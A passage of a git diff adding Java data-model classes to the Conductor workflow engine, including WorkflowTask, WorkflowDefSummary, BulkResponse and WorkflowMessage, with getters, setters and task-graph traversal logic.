tasks.iterator(); + while (iterator.hasNext()) { + WorkflowTask task = iterator.next(); + if (task.getTaskReferenceName().equals(taskReferenceName)) { + // If taskReferenceName matches, break out + break; + } + WorkflowTask nextTask = task.next(taskReferenceName, null); + if (nextTask != null) { + return nextTask; + } else if (TaskType.DO_WHILE.name().equals(task.getType()) + && !task.getTaskReferenceName().equals(taskReferenceName) + && task.has(taskReferenceName)) { + // If the task is child of Loop Task and at last position, return null. + return null; + } + + if (task.has(taskReferenceName)) { + break; + } + } + if (iterator.hasNext()) { + return iterator.next(); + } + return null; + } + + public WorkflowTask getTaskByRefName(String taskReferenceName) { + return collectTasks().stream() + .filter( + workflowTask -> + workflowTask.getTaskReferenceName().equals(taskReferenceName)) + .findFirst() + .orElse(null); + } + + public List collectTasks() { + List tasks = new LinkedList<>(); + for (WorkflowTask workflowTask : this.tasks) { + tasks.addAll(workflowTask.collectTasks()); + } + return tasks; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + WorkflowDef that = (WorkflowDef) o; + return version == that.version && Objects.equals(name, that.name); + } + + @Override + public int hashCode() { + return Objects.hash(name, version); + } + + @Override + public String toString() { + return "WorkflowDef{" + + "name='" + + name + + '\'' + + ", description='" + + description + + '\'' + + ", version=" + + version + + ", tasks=" + + tasks + + ", inputParameters=" + + inputParameters + + ", outputParameters=" + + outputParameters + + ", failureWorkflow='" + + failureWorkflow + + '\'' + + ", failureWorkflowVersion=" + + failureWorkflowVersion + + ", schemaVersion=" + + schemaVersion + + ", restartable=" + + restartable + + ", workflowStatusListenerEnabled=" + + workflowStatusListenerEnabled + + ", ownerEmail='" + + ownerEmail + + '\'' + + ", timeoutPolicy=" + + timeoutPolicy + + ", timeoutSeconds=" + + timeoutSeconds + + ", variables=" + + variables + + ", inputTemplate=" + + inputTemplate + + ", workflowStatusListenerSink='" + + workflowStatusListenerSink + + '\'' + + ", rateLimitConfig=" + + rateLimitConfig + + ", inputSchema=" + + inputSchema + + ", outputSchema=" + + outputSchema + + ", enforceSchema=" + + enforceSchema + + ", maskedFields=" + + maskedFields + + '}'; + } + + @ProtoEnum + public enum TimeoutPolicy { + TIME_OUT_WF, + ALERT_ONLY + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowDefSummary.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowDefSummary.java new file mode 100644 index 0000000..1d60cc9 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowDefSummary.java @@ -0,0 +1,116 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.Objects; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.common.constraints.NoSemiColonConstraint; + +import jakarta.validation.constraints.NotEmpty; + +@ProtoMessage +public class WorkflowDefSummary implements Comparable { + + @NotEmpty(message = "WorkflowDef name cannot be null or empty") + @ProtoField(id = 1) + @NoSemiColonConstraint( + message = "Workflow name cannot contain the following set of characters: ':'") + private String name; + + @ProtoField(id = 2) + private int version = 1; + + @ProtoField(id = 3) + private Long createTime; + + @ProtoField(id = 4) + private Long updateTime; + + /** + * @return the version + */ + public int getVersion() { + return version; + } + + /** + * @return the workflow name + */ + public String getName() { + return name; + } + + /** + * @return the createTime + */ + public Long getCreateTime() { + return createTime; + } + + /** + * @return the updateTime + */ + public Long getUpdateTime() { + return updateTime; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + WorkflowDefSummary that = (WorkflowDefSummary) o; + return getVersion() == that.getVersion() && Objects.equals(getName(), that.getName()); + } + + public void setName(String name) { + this.name = name; + } + + public void setVersion(int version) { + this.version = version; + } + + public void setCreateTime(Long createTime) { + this.createTime = createTime; + } + + public void setUpdateTime(Long updateTime) { + this.updateTime = updateTime; + } + + @Override + public int hashCode() { + return Objects.hash(getName(), getVersion()); + } + + @Override + public String toString() { + return "WorkflowDef{name='" + name + ", version=" + version + "}"; + } + + @Override + public int compareTo(WorkflowDefSummary o) { + int res = this.name.compareTo(o.name); + if (res != 0) { + return res; + } + res = Integer.compare(this.version, o.version); + return res; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowTask.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowTask.java new file mode 100644 index 0000000..ff27e00 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowTask.java @@ -0,0 +1,806 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; + +import com.fasterxml.jackson.annotation.JsonGetter; +import com.fasterxml.jackson.annotation.JsonSetter; +import jakarta.validation.Valid; +import jakarta.validation.constraints.*; + +/** + * This is the task definition definied as part of the {@link WorkflowDef}. The tasks definied in + * the Workflow definition are saved as part of {@link WorkflowDef#getTasks} + */ +@ProtoMessage +public class WorkflowTask { + + @ProtoField(id = 1) + @NotEmpty(message = "WorkflowTask name cannot be empty or null") + private String name; + + @ProtoField(id = 2) + @NotEmpty(message = "WorkflowTask taskReferenceName name cannot be empty or null") + private String taskReferenceName; + + @ProtoField(id = 3) + private String description; + + @ProtoField(id = 4) + private Map inputParameters = new HashMap<>(); + + @ProtoField(id = 5) + private String type = TaskType.SIMPLE.name(); + + @ProtoField(id = 6) + private String dynamicTaskNameParam; + + @Deprecated + @ProtoField(id = 7) + private String caseValueParam; + + @Deprecated + @ProtoField(id = 8) + private String caseExpression; + + @ProtoField(id = 22) + private String scriptExpression; + + @ProtoMessage(wrapper = true) + public static class WorkflowTaskList { + + public List getTasks() { + return tasks; + } + + public void setTasks(List tasks) { + this.tasks = tasks; + } + + @ProtoField(id = 1) + private List tasks; + } + + // Populates for the tasks of the decision type + @ProtoField(id = 9) + private Map> decisionCases = new LinkedHashMap<>(); + + @Deprecated private String dynamicForkJoinTasksParam; + + @ProtoField(id = 10) + private String dynamicForkTasksParam; + + @ProtoField(id = 11) + private String dynamicForkTasksInputParamName; + + @ProtoField(id = 12) + private List<@Valid WorkflowTask> defaultCase = new LinkedList<>(); + + @ProtoField(id = 13) + private List<@Valid List<@Valid WorkflowTask>> forkTasks = new LinkedList<>(); + + @ProtoField(id = 14) + @PositiveOrZero + private int startDelay; // No. of seconds (at-least) to wait before starting a task. + + @ProtoField(id = 15) + @Valid + private SubWorkflowParams subWorkflowParam; + + @ProtoField(id = 16) + private List joinOn = new LinkedList<>(); + + @ProtoField(id = 17) + private String sink; + + @ProtoField(id = 18) + private boolean optional = false; + + @ProtoField(id = 19) + private TaskDef taskDefinition; + + @ProtoField(id = 20) + private Boolean rateLimited; + + @ProtoField(id = 21) + private List defaultExclusiveJoinTask = new LinkedList<>(); + + @ProtoField(id = 23) + private Boolean asyncComplete = false; + + @ProtoField(id = 24) + private String loopCondition; + + @ProtoField(id = 25) + private List loopOver = new LinkedList<>(); + + @ProtoField(id = 33) + private String items; + + @ProtoField(id = 26) + private Integer retryCount; + + @ProtoField(id = 27) + private String evaluatorType; + + @ProtoField(id = 28) + private String expression; + + /* + Map of events to be emitted when the task status changed. + key can be comma separated values of the status changes prefixed with "on" + */ + // @ProtoField(id = 29) + private @Valid Map> onStateChange = new HashMap<>(); + + @ProtoField(id = 30) + private String joinStatus; + + @ProtoField(id = 31) + private CacheConfig cacheConfig; + + @ProtoField(id = 32) + private boolean permissive; + + /** Controls whether a JOIN task is evaluated synchronously (no backoff) or asynchronously. */ + @ProtoEnum + public enum JoinMode { + SYNC, + ASYNC + } + + @ProtoField(id = 34) + private JoinMode joinMode; + + /** + * @return the name + */ + public String getName() { + return name; + } + + /** + * @param name the name to set + */ + public void setName(String name) { + this.name = name; + } + + /** + * @return the taskReferenceName + */ + public String getTaskReferenceName() { + return taskReferenceName; + } + + /** + * @param taskReferenceName the taskReferenceName to set + */ + public void setTaskReferenceName(String taskReferenceName) { + this.taskReferenceName = taskReferenceName; + } + + /** + * @return the description + */ + public String getDescription() { + return description; + } + + /** + * @param description the description to set + */ + public void setDescription(String description) { + this.description = description; + } + + /** + * @return the inputParameters + */ + public Map getInputParameters() { + return inputParameters; + } + + /** + * @param inputParameters the inputParameters to set + */ + public void setInputParameters(Map inputParameters) { + this.inputParameters = inputParameters; + } + + /** + * @return the type + */ + public String getType() { + return type; + } + + public void setWorkflowTaskType(TaskType type) { + this.type = type.name(); + } + + /** + * @param type the type to set + */ + public void setType(@NotEmpty(message = "WorkTask type cannot be null or empty") String type) { + this.type = type; + } + + /** + * @return the decisionCases + */ + public Map> getDecisionCases() { + return decisionCases; + } + + /** + * @param decisionCases the decisionCases to set + */ + public void setDecisionCases(Map> decisionCases) { + this.decisionCases = decisionCases; + } + + /** + * @return the defaultCase + */ + public List getDefaultCase() { + return defaultCase; + } + + /** + * @param defaultCase the defaultCase to set + */ + public void setDefaultCase(List defaultCase) { + this.defaultCase = defaultCase; + } + + /** + * @return the forkTasks + */ + public List> getForkTasks() { + return forkTasks; + } + + /** + * @param forkTasks the forkTasks to set + */ + public void setForkTasks(List> forkTasks) { + this.forkTasks = forkTasks; + } + + /** + * @return the startDelay in seconds + */ + public int getStartDelay() { + return startDelay; + } + + /** + * @param startDelay the startDelay to set + */ + public void setStartDelay(int startDelay) { + this.startDelay = startDelay; + } + + /** + * @return the retryCount + */ + public Integer getRetryCount() { + return retryCount; + } + + /** + * @param retryCount the retryCount to set + */ + public void setRetryCount(final Integer retryCount) { + this.retryCount = retryCount; + } + + /** + * @return the dynamicTaskNameParam + */ + public String getDynamicTaskNameParam() { + return dynamicTaskNameParam; + } + + /** + * @param dynamicTaskNameParam the dynamicTaskNameParam to set to be used by DYNAMIC tasks + */ + public void setDynamicTaskNameParam(String dynamicTaskNameParam) { + this.dynamicTaskNameParam = dynamicTaskNameParam; + } + + /** + * @deprecated Use {@link WorkflowTask#getEvaluatorType()} and {@link + * WorkflowTask#getExpression()} combination. + * @return the caseValueParam + */ + @Deprecated + public String getCaseValueParam() { + return caseValueParam; + } + + @Deprecated + public String getDynamicForkJoinTasksParam() { + return dynamicForkJoinTasksParam; + } + + @Deprecated + public void setDynamicForkJoinTasksParam(String dynamicForkJoinTasksParam) { + this.dynamicForkJoinTasksParam = dynamicForkJoinTasksParam; + } + + public String getDynamicForkTasksParam() { + return dynamicForkTasksParam; + } + + public void setDynamicForkTasksParam(String dynamicForkTasksParam) { + this.dynamicForkTasksParam = dynamicForkTasksParam; + } + + public String getDynamicForkTasksInputParamName() { + return dynamicForkTasksInputParamName; + } + + public void setDynamicForkTasksInputParamName(String dynamicForkTasksInputParamName) { + this.dynamicForkTasksInputParamName = dynamicForkTasksInputParamName; + } + + /** + * @param caseValueParam the caseValueParam to set + * @deprecated Use {@link WorkflowTask#getEvaluatorType()} and {@link + * WorkflowTask#getExpression()} combination. + */ + @Deprecated + public void setCaseValueParam(String caseValueParam) { + this.caseValueParam = caseValueParam; + } + + /** + * @return A javascript expression for decision cases. The result should be a scalar value that + * is used to decide the case branches. + * @see #getDecisionCases() + * @deprecated Use {@link WorkflowTask#getEvaluatorType()} and {@link + * WorkflowTask#getExpression()} combination. + */ + @Deprecated + public String getCaseExpression() { + return caseExpression; + } + + /** + * @param caseExpression A javascript expression for decision cases. The result should be a + * scalar value that is used to decide the case branches. + * @deprecated Use {@link WorkflowTask#getEvaluatorType()} and {@link + * WorkflowTask#getExpression()} combination. + */ + @Deprecated + public void setCaseExpression(String caseExpression) { + this.caseExpression = caseExpression; + } + + public String getScriptExpression() { + return scriptExpression; + } + + public void setScriptExpression(String expression) { + this.scriptExpression = expression; + } + + public CacheConfig getCacheConfig() { + return cacheConfig; + } + + public void setCacheConfig(CacheConfig cacheConfig) { + this.cacheConfig = cacheConfig; + } + + /** + * @return the subWorkflow + */ + @JsonGetter + public SubWorkflowParams getSubWorkflowParam() { + return subWorkflowParam; + } + + /** + * @param subWorkflow the subWorkflowParam to set + */ + @JsonSetter + public void setSubWorkflowParam(SubWorkflowParams subWorkflow) { + this.subWorkflowParam = subWorkflow; + } + + /** + * @return the joinOn + */ + public List getJoinOn() { + return joinOn; + } + + /** + * @param joinOn the joinOn to set + */ + public void setJoinOn(List joinOn) { + this.joinOn = joinOn; + } + + /** + * @return the loopCondition + */ + public String getLoopCondition() { + return loopCondition; + } + + /** + * @param loopCondition the expression to set + */ + public void setLoopCondition(String loopCondition) { + this.loopCondition = loopCondition; + } + + /** + * @return the loopOver + */ + public List getLoopOver() { + return loopOver; + } + + /** + * @param loopOver the loopOver to set + */ + public void setLoopOver(List loopOver) { + this.loopOver = loopOver; + } + + /** + * @return the items parameter for list iteration in DO_WHILE tasks. Can be a workflow + * expression like "${workflow.input.myList}" or a direct reference. + */ + public String getItems() { + return items; + } + + /** + * @param items the items parameter to set for list iteration in DO_WHILE tasks + */ + public void setItems(String items) { + this.items = items; + } + + /** + * @return Sink value for the EVENT type of task + */ + public String getSink() { + return sink; + } + + /** + * @param sink Name of the sink + */ + public void setSink(String sink) { + this.sink = sink; + } + + /** + * @return whether wait for an external event to complete the task, for EVENT and HTTP tasks + */ + public Boolean isAsyncComplete() { + return asyncComplete; + } + + public void setAsyncComplete(Boolean asyncComplete) { + this.asyncComplete = asyncComplete; + } + + /** + * @return If the task is optional. When set to true, the workflow execution continues even when + * the task is in failed status. + */ + public boolean isOptional() { + return optional; + } + + /** + * @return Task definition associated to the Workflow Task + */ + public TaskDef getTaskDefinition() { + return taskDefinition; + } + + /** + * @param taskDefinition Task definition + */ + public void setTaskDefinition(TaskDef taskDefinition) { + this.taskDefinition = taskDefinition; + } + + /** + * @param optional when set to true, the task is marked as optional + */ + public void setOptional(boolean optional) { + this.optional = optional; + } + + public Boolean getRateLimited() { + return rateLimited; + } + + public void setRateLimited(Boolean rateLimited) { + this.rateLimited = rateLimited; + } + + public Boolean isRateLimited() { + return rateLimited != null && rateLimited; + } + + public List getDefaultExclusiveJoinTask() { + return defaultExclusiveJoinTask; + } + + public void setDefaultExclusiveJoinTask(List defaultExclusiveJoinTask) { + this.defaultExclusiveJoinTask = defaultExclusiveJoinTask; + } + + /** + * @return the evaluatorType + */ + public String getEvaluatorType() { + return evaluatorType; + } + + /** + * @param evaluatorType the evaluatorType to set + */ + public void setEvaluatorType(String evaluatorType) { + this.evaluatorType = evaluatorType; + } + + /** + * @return An evaluation expression for switch cases evaluated by corresponding evaluator. The + * result should be a scalar value that is used to decide the case branches. + * @see #getDecisionCases() + */ + public String getExpression() { + return expression; + } + + /** + * @param expression the expression to set + */ + public void setExpression(String expression) { + this.expression = expression; + } + + public String getJoinStatus() { + return joinStatus; + } + + public void setJoinStatus(String joinStatus) { + this.joinStatus = joinStatus; + } + + public boolean isPermissive() { + return permissive; + } + + public void setPermissive(boolean permissive) { + this.permissive = permissive; + } + + /** + * @return the join mode (SYNC or ASYNC) + */ + public JoinMode getJoinMode() { + return joinMode; + } + + /** + * @param joinMode the join mode to set + */ + public void setJoinMode(JoinMode joinMode) { + this.joinMode = joinMode; + } + + private Collection> children() { + Collection> workflowTaskLists = new LinkedList<>(); + + switch (TaskType.of(type)) { + case DECISION: + case SWITCH: + workflowTaskLists.addAll(decisionCases.values()); + workflowTaskLists.add(defaultCase); + break; + case FORK_JOIN: + workflowTaskLists.addAll(forkTasks); + break; + case DO_WHILE: + workflowTaskLists.add(loopOver); + break; + default: + break; + } + return workflowTaskLists; + } + + public List collectTasks() { + List tasks = new LinkedList<>(); + tasks.add(this); + for (List workflowTaskList : children()) { + for (WorkflowTask workflowTask : workflowTaskList) { + tasks.addAll(workflowTask.collectTasks()); + } + } + return tasks; + } + + public WorkflowTask next(String taskReferenceName, WorkflowTask parent) { + TaskType taskType = TaskType.of(type); + + switch (taskType) { + case DO_WHILE: + case DECISION: + case SWITCH: + for (List workflowTasks : children()) { + Iterator iterator = workflowTasks.iterator(); + while (iterator.hasNext()) { + WorkflowTask task = iterator.next(); + if (task.getTaskReferenceName().equals(taskReferenceName)) { + break; + } + WorkflowTask nextTask = task.next(taskReferenceName, this); + if (nextTask != null) { + return nextTask; + } + if (task.has(taskReferenceName)) { + break; + } + } + if (iterator.hasNext()) { + return iterator.next(); + } + } + if (taskType == TaskType.DO_WHILE && this.has(taskReferenceName)) { + // come here means this is DO_WHILE task and `taskReferenceName` is the last + // task in + // this DO_WHILE task, because DO_WHILE task need to be executed to decide + // whether to + // schedule next iteration, so we just return the DO_WHILE task, and then ignore + // generating this task again in deciderService.getNextTask() + return this; + } + break; + case FORK_JOIN: + boolean found = false; + for (List workflowTasks : children()) { + Iterator iterator = workflowTasks.iterator(); + while (iterator.hasNext()) { + WorkflowTask task = iterator.next(); + if (task.getTaskReferenceName().equals(taskReferenceName)) { + found = true; + break; + } + WorkflowTask nextTask = task.next(taskReferenceName, this); + if (nextTask != null) { + return nextTask; + } + if (task.has(taskReferenceName)) { + break; + } + } + if (iterator.hasNext()) { + return iterator.next(); + } + if (found && parent != null) { + return parent.next( + this.taskReferenceName, + parent); // we need to return join task... -- get my sibling from my + // parent.. + } + } + break; + case DYNAMIC: + case TERMINATE: + case SIMPLE: + return null; + default: + break; + } + return null; + } + + public boolean has(String taskReferenceName) { + if (this.getTaskReferenceName().equals(taskReferenceName)) { + return true; + } + + switch (TaskType.of(type)) { + case DECISION: + case SWITCH: + case DO_WHILE: + case FORK_JOIN: + for (List childx : children()) { + for (WorkflowTask child : childx) { + if (child.has(taskReferenceName)) { + return true; + } + } + } + break; + default: + break; + } + return false; + } + + public WorkflowTask get(String taskReferenceName) { + + if (this.getTaskReferenceName().equals(taskReferenceName)) { + return this; + } + for (List childx : children()) { + for (WorkflowTask child : childx) { + WorkflowTask found = child.get(taskReferenceName); + if (found != null) { + return found; + } + } + } + return null; + } + + public Map> getOnStateChange() { + return onStateChange; + } + + public void setOnStateChange(Map> onStateChange) { + this.onStateChange = onStateChange; + } + + @Override + public String toString() { + return name + "/" + taskReferenceName; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + WorkflowTask that = (WorkflowTask) o; + return Objects.equals(name, that.name) + && Objects.equals(taskReferenceName, that.taskReferenceName); + } + + @Override + public int hashCode() { + return Objects.hash(name, taskReferenceName); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/model/BulkResponse.java b/common/src/main/java/com/netflix/conductor/common/model/BulkResponse.java new file mode 100644 index 0000000..ff35ea5 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/model/BulkResponse.java @@ -0,0 +1,85 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.model; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * Response object to return a list of succeeded entities and a map of failed ones, including error + * message, for the bulk request. + * + * @param the type of entities included in the successful results + */ +public class BulkResponse { + + /** Key - entityId Value - error message processing this entity */ + private final Map bulkErrorResults; + + private final List bulkSuccessfulResults; + private final String message = "Bulk Request has been processed."; + + public BulkResponse() { + this.bulkSuccessfulResults = new ArrayList<>(); + this.bulkErrorResults = new HashMap<>(); + } + + public List getBulkSuccessfulResults() { + return bulkSuccessfulResults; + } + + public Map getBulkErrorResults() { + return bulkErrorResults; + } + + public void appendSuccessResponse(T result) { + bulkSuccessfulResults.add(result); + } + + public void appendFailedResponse(String id, String errorMessage) { + bulkErrorResults.put(id, errorMessage); + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (!(o instanceof BulkResponse that)) { + return false; + } + return Objects.equals(bulkSuccessfulResults, that.bulkSuccessfulResults) + && Objects.equals(bulkErrorResults, that.bulkErrorResults); + } + + @Override + public int hashCode() { + return Objects.hash(bulkSuccessfulResults, bulkErrorResults, message); + } + + @Override + public String toString() { + return "BulkResponse{" + + "bulkSuccessfulResults=" + + bulkSuccessfulResults + + ", bulkErrorResults=" + + bulkErrorResults + + ", message='" + + message + + '\'' + + '}'; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/model/WorkflowMessage.java b/common/src/main/java/com/netflix/conductor/common/model/WorkflowMessage.java new file mode 100644 index 0000000..5e90471 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/model/WorkflowMessage.java @@ -0,0 +1,89 @@ +/* + * Copyright 2024 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.model; + +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.Map; + +/** + * Represents a single message in a workflow's message queue (WMQ). + * + *

The {@code payload} field contains arbitrary user-supplied JSON. The {@code id} and {@code + * receivedAt} fields are populated by the push endpoint at ingestion time. + */ +public class WorkflowMessage { + + /** UUID v4 string, generated at push time. */ + private String id; + + /** The workflow instance that owns this message. */ + private String workflowId; + + /** + * Arbitrary caller-supplied data. Conductor does not interpret or validate this structure. + * + *

Stored as a shallow unmodifiable copy: the top-level map cannot be mutated, but nested + * {@code Map} or {@code List} values within the payload remain mutable. Immutability is + * enforced via {@link #setPayload}; any future {@code @JsonCreator} constructor must apply the + * same defensive copy. + */ + private Map payload; + + /** ISO-8601 UTC timestamp recorded at ingestion time. */ + private String receivedAt; + + public WorkflowMessage() {} + + public WorkflowMessage( + String id, String workflowId, Map payload, String receivedAt) { + this.id = id; + this.workflowId = workflowId; + this.payload = + payload == null ? null : Collections.unmodifiableMap(new LinkedHashMap<>(payload)); + this.receivedAt = receivedAt; + } + + public String getId() { + return id; + } + + public void setId(String id) { + this.id = id; + } + + public String getWorkflowId() { + return workflowId; + } + + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + public Map getPayload() { + return payload; + } + + public void setPayload(Map payload) { + this.payload = + payload == null ? null : Collections.unmodifiableMap(new LinkedHashMap<>(payload)); + } + + public String getReceivedAt() { + return receivedAt; + } + + public void setReceivedAt(String receivedAt) { + this.receivedAt = receivedAt; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/run/ExternalStorageLocation.java b/common/src/main/java/com/netflix/conductor/common/run/ExternalStorageLocation.java new file mode 100644 index 0000000..d94b358 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/run/ExternalStorageLocation.java @@ -0,0 +1,50 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.run; + +/** + * Describes the location where the JSON payload is stored in external storage. + * + *

The location is described using the following fields: + * + *

    + *
  • uri: The uri of the json file in external storage. + *
  • path: The relative path of the file in external storage. + *
+ */ +public class ExternalStorageLocation { + + private String uri; + private String path; + + public String getUri() { + return uri; + } + + public void setUri(String uri) { + this.uri = uri; + } + + public String getPath() { + return path; + } + + public void setPath(String path) { + this.path = path; + } + + @Override + public String toString() { + return "ExternalStorageLocation{" + "uri='" + uri + '\'' + ", path='" + path + '\'' + '}'; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/run/SearchResult.java b/common/src/main/java/com/netflix/conductor/common/run/SearchResult.java new file mode 100644 index 0000000..43057d9 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/run/SearchResult.java @@ -0,0 +1,58 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.run; + +import java.util.List; + +public class SearchResult { + + private long totalHits; + + private List results; + + public SearchResult() {} + + public SearchResult(long totalHits, List results) { + super(); + this.totalHits = totalHits; + this.results = results; + } + + /** + * @return the totalHits + */ + public long getTotalHits() { + return totalHits; + } + + /** + * @return the results + */ + public List getResults() { + return results; + } + + /** + * @param totalHits the totalHits to set + */ + public void setTotalHits(long totalHits) { + this.totalHits = totalHits; + } + + /** + * @param results the results to set + */ + public void setResults(List results) { + this.results = results; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/run/TaskSummary.java b/common/src/main/java/com/netflix/conductor/common/run/TaskSummary.java new file mode 100644 index 0000000..32e3b0f --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/run/TaskSummary.java @@ -0,0 +1,465 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.run; + +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Objects; +import java.util.TimeZone; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.Task.Status; +import com.netflix.conductor.common.utils.SummaryUtil; + +@ProtoMessage +public class TaskSummary { + + /** The time should be stored as GMT */ + private static final TimeZone GMT = TimeZone.getTimeZone("GMT"); + + @ProtoField(id = 1) + private String workflowId; + + @ProtoField(id = 2) + private String workflowType; + + @ProtoField(id = 3) + private String correlationId; + + @ProtoField(id = 4) + private String scheduledTime; + + @ProtoField(id = 5) + private String startTime; + + @ProtoField(id = 6) + private String updateTime; + + @ProtoField(id = 7) + private String endTime; + + @ProtoField(id = 8) + private Task.Status status; + + @ProtoField(id = 9) + private String reasonForIncompletion; + + @ProtoField(id = 10) + private long executionTime; + + @ProtoField(id = 11) + private long queueWaitTime; + + @ProtoField(id = 12) + private String taskDefName; + + @ProtoField(id = 13) + private String taskType; + + @ProtoField(id = 14) + private String input; + + @ProtoField(id = 15) + private String output; + + @ProtoField(id = 16) + private String taskId; + + @ProtoField(id = 17) + private String externalInputPayloadStoragePath; + + @ProtoField(id = 18) + private String externalOutputPayloadStoragePath; + + @ProtoField(id = 19) + private int workflowPriority; + + @ProtoField(id = 20) + private String domain; + + public TaskSummary() {} + + public TaskSummary(Task task) { + + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); + sdf.setTimeZone(GMT); + + this.taskId = task.getTaskId(); + this.taskDefName = task.getTaskDefName(); + this.taskType = task.getTaskType(); + this.workflowId = task.getWorkflowInstanceId(); + this.workflowType = task.getWorkflowType(); + this.workflowPriority = task.getWorkflowPriority(); + this.correlationId = task.getCorrelationId(); + this.scheduledTime = sdf.format(new Date(task.getScheduledTime())); + this.startTime = sdf.format(new Date(task.getStartTime())); + this.updateTime = sdf.format(new Date(task.getUpdateTime())); + this.endTime = sdf.format(new Date(task.getEndTime())); + this.status = task.getStatus(); + this.reasonForIncompletion = task.getReasonForIncompletion(); + this.queueWaitTime = task.getQueueWaitTime(); + this.domain = task.getDomain(); + if (task.getInputData() != null) { + this.input = SummaryUtil.serializeInputOutput(task.getInputData()); + } + + if (task.getOutputData() != null) { + this.output = 